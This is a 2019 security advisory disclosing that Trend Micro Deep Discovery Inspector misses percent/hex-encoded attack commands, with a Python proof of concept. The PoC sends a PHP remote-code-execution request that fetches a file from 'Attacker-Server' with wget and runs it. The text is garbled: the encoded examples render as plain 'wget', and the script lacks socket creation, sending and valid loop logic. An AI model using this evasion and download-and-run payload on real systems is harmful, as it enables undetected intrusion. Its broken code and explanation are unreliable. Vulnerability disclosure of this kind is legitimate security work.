Trend Micro Deep Discovery Inspector IDS - Security Bypass

2019-07-24 12:17:49

[+] Credits: John Page (aka hyp3rlinx)
[+] Website:
[+] Source:
[+] ISR: Apparition Security


Deep Discovery Inspector

Deep Discovery Inspector is a network appliance that monitors all ports and over 105 different network protocols to discover advanced threats and targeted attacks
moving in and out of the network and laterally across it. The appliance detects and analyzes malware, command-and-control (C&C) communications, and evasive attacker
activities that are invisible to standard security defenses.

[Vulnerability Type]
Percent Encoding IDS Bypass

[CVE Reference]
Vendor decided not to release a CVE

[Security Issue]
Trend Micro Deep Discovery Inspector IDS will typically trigger alerts for malicious system commands like "Wget Commandline Injection" and they will be flagged as high.
Attacker payloads sent with normal ascii characters for example like "wget" or even if they have been HEX encoded like "\x77\x67\x65\x74" they will still get flagged and alerted on.

However, attackers can easily bypass these alerts by sending malicious commands in HEX preceded by percent sign chars "%", e.g. "wget" which also translates to "wget" and
will not get flagged or alerted on and may still be processed on the target system.



Therefore, Trend Micro IDS alerts can be easily bypassed and the payload is still run by the vulnerable target if the payload is encoded using percent/hex encoding like wget.
That will not only bypass the IDE by having no alert triggered or notification sent but the application will still process the malicious command.

Importantly, the "wget" DDI Rule 2452 used is just an example and can potentially be any malicious request where the IDS checks the character encodings but fails to account for
percent encoded HEX character payload values.

from socket import *
#Bypass TM DDI IDS e.g. Rule 2452 (Wget command line injection) PoC
#Discovery: hyp3rlinx - ApparitionSec
#Apparition Security
#Firewall Rule Bypass

IP = raw_input("[+] Trend Micro IDS")
PORT = 80

payload="/index.php?s=/index/vulnerable/app/invoke&function=call_user_func_array&vars[0]=system&vars[1][]=wget http://Attacker-Server/ -O /tmp/a; chmod 0777 /tmp/a; /tmp/a"
req = "GET "+payload+" HTTP/1.1\r\nHost"+IP+"\r\nConnection: close\r\n\r\n"

s.connect((IP, PORT))

while True:
res = s.recv(512)
print res
if res=="\n" or "</html>":


#Result is 200 HTTP OK and code execution on vuln app and No IDS Alert gets triggered.

[Network Access]


[Disclosure Timeline]
Vendor Notification: May 14, 2019
Vendor confirmed the IDS Bypass: May 20, 2019
Vendor informed that a DDI IDS enhancement has been made: July 18, 2019
July 23, 2019 : Public Disclosure

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